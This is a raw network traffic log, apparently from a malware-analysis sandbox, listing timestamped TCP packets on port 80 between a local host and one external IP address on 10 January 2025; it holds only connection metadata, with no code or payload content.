Jan 10, 2025 21:28:21.441847086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.441855907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.441891909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.441909075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.441930056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.441983938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.444088936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.444251060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.444305897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.444310904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.444348097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.444377899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.444382906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.444418907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.444433928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.444454908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.444468975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.444492102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.444529057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.444540977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.444565058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.444598913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.444612980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.456386089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.468544006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.474431992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.474482059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.474543095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.474543095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.474581003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.474601984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.474636078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.474673033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.474689007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.474704027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.474755049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.474756002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.474792957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.474826097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.474848986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.474880934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.474915028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.474944115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.474967957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475023031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.475023031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475078106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475111961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475132942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.475148916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475183010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475204945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.475238085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475271940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475296021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.475306988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475378990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.475380898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475416899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475450039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475482941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475496054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.475536108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475541115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.475589991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475622892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475642920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.475658894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475711107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475716114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.475747108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475784063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475801945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.475820065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475852966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475872040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.475893974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475927114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475953102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.475961924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.475996017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476020098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476031065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476066113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476085901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476100922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476134062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476150036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476171017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476203918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476222992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476238966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476274014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476294041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476309061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476346970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476362944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476388931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476444006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476453066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476485968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476501942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476517916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476536036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476540089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476552963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476564884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476579905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476597071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476602077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476609945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476624012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476635933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476641893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476650953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476663113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476675034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476684093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476689100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476701975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476701975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476716042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476728916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476741076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476742029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476753950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476762056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476768017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476782084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476788044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476794958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476808071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476809025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476820946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476831913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476834059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476847887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476855040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476865053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476869106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476877928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476891041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.476891994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.476933956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.481081009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.499952078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500005960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500056982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.500077009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500133038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.500135899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500206947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500243902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500271082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.500282049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500318050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500336885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.500355005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500391006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500412941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.500426054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500461102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500483990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.500497103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500531912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500555992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.500569105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.500621080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.530030966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530069113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530083895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530097961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530112028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530126095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530139923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530152082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530160904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.530167103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530193090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530206919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.530217886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530231953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.530232906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530247927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530251026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.530260086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530273914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530292034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.530303955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.530330896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.530350924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.532682896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.532711029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.532725096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.532737017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.532749891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.532763004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.532763958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.532777071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.532788038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.532795906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.532805920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.532843113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.538371086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.542510986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563035011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563056946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563079119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563102961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563116074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563127995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563141108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563153028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563164949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563174009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563189030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563201904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563214064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563220978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563229084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563240051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563245058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563265085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563286066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563330889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563344002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563361883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563374043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563379049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563386917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563400030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563414097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563421965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563426971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563441038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563446999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563453913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563473940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563474894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563500881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563503027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563514948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563527107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563545942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563566923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563574076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563580990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563595057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563623905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563709021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563724041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563735962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563749075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563750029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563774109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563869953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563883066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563894987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563908100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563913107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563934088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563947916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563961983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563972950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563986063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.563992977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.563998938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564012051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564016104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.564028978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564064026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.564088106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.564183950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564197063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564208031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564232111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564233065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.564246893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564280033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.564301014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564340115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.564387083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564399958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564420938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564433098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564435005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.564445972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564460039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564471006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.564474106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564486980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.564502001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.564523935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.569533110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569546938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569559097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569600105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569606066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.569622040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569634914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569648027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569658995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.569663048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569678068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569679976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.569691896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569700003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.569706917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569722891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569737911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569737911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.569751024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569763899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569770098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569783926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.569787979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569801092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569801092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.569811106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569823027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.569828033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.569860935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.583430052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.587079048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.589055061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.589080095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.589092016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.589104891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.589118004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.589133024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.589135885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.589164019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.589179993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.589186907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.589200974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.589246988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.595488071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.595499992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.595510960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.595525980 CET	80	49730	193.143.1.205	192.168.2.4
